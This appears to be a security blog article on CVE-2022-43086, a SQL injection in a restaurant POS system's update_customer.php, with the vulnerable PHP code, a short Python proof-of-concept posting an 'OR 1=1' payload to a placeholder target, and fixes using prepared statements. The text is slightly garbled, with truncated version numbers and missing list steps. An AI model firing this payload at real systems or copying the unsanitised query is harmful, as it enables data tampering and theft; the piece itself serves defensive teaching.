In late 2022, a notable SQL injection vulnerability, identified as CVE-2022-43086, was discovered in Restaurant POS System v1.. This bug lurks within the update_customer.php script and allows attackers to manipulate the database, compromise sensitive data, and potentially take control of the system running the vulnerable software.

In this article, we’ll break down what the bug is, how it works, showcase code snippets that demonstrate the flaw and its exploitation, and provide some solutions. If you operate a Restaurant POS System or work in application security, this guide will help you understand and mitigate this risk.

Affects: Restaurant POS System v1.

- Location: /update_customer.php
- CVE ID: CVE-2022-43086

- Reference

- Exploit-DB 51222
   - GitHub Advisory

Where’s the Problem?

Inside Restaurant POS System v1., the script file update_customer.php is responsible for updating customer data. Unfortunately, it takes user input from an HTTP POST request and directly tosses it into an SQL query – with no checks or sanitization.

Here’s a simplified version of what the vulnerable code looks like

<?php
// update_customer.php

include("db_connect.php");

$id = $_POST['id'];
$name = $_POST['name'];
$email = $_POST['email'];

$sql = "UPDATE customers SET name='$name', email='$email' WHERE id='$id'";
$result = mysqli_query($conn, $sql);

if ($result) {
    echo "Customer updated!";
} else {
    echo "Error: " . mysqli_error($conn);
}
?>

What’s wrong?
User-supplied variables ($id, $name, and $email) are placed directly into the SQL string, which is extremely risky.

`

4. The OR 1=1 trick makes the condition always true, so the query updates all customer records, not just one. Or worse, attackers could build input to exfiltrate data, create admin users, or execute further malicious SQL.

Here’s how one might use Python (with the requests library) to exploit this bug

import requests

url = "http://target-site.com/update_customer.php";
payload = {
    'id': "1' OR 1=1 -- -",
    'name': 'Hacked',
    'email': 'hacker@evil.com'
}

r = requests.post(url, data=payload)
print(r.text)

Result: All customers might now have the name “Hacked” and email “hacker@evil.com”.

Always use parameterized queries, like this

$stmt = $conn->prepare("UPDATE customers SET name=?, email=? WHERE id=?");
$stmt->bind_param("ssi", $name, $email, $id);
$stmt->execute();

2. Sanitize & Validate Input

Check that IDs are actually numbers and emails are valid.

$id = intval($_POST['id']);
$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);

3. Update Frameworks

Ensure you’re using modern ORM frameworks or libraries that automatically protect against SQL injection.

References

- NVD Detail: https://nvd.nist.gov/vuln/detail/CVE-2022-43086
- Exploit-DB PoC: https://www.exploit-db.com/exploits/51222
- GitHub Writeup: https://github.com/tsar3ist/POC/blob/main/CVE-2022-43086/README.md

Wrapping Up

CVE-2022-43086 is a textbook example of why never to trust user input anywhere in your application, especially when building SQL queries. If you’re running Restaurant POS System v1., you need to patch or mitigate this vulnerability immediately. Use prepared statements, sanitize data, and stay safe!

If you have any questions or want help securing your POS software, feel free to reach out. Protecting your data is protecting your business.

Timeline

Published on: 11/01/2022 14:15:00 UTC
Last modified on: 11/01/2022 23:33:00 UTC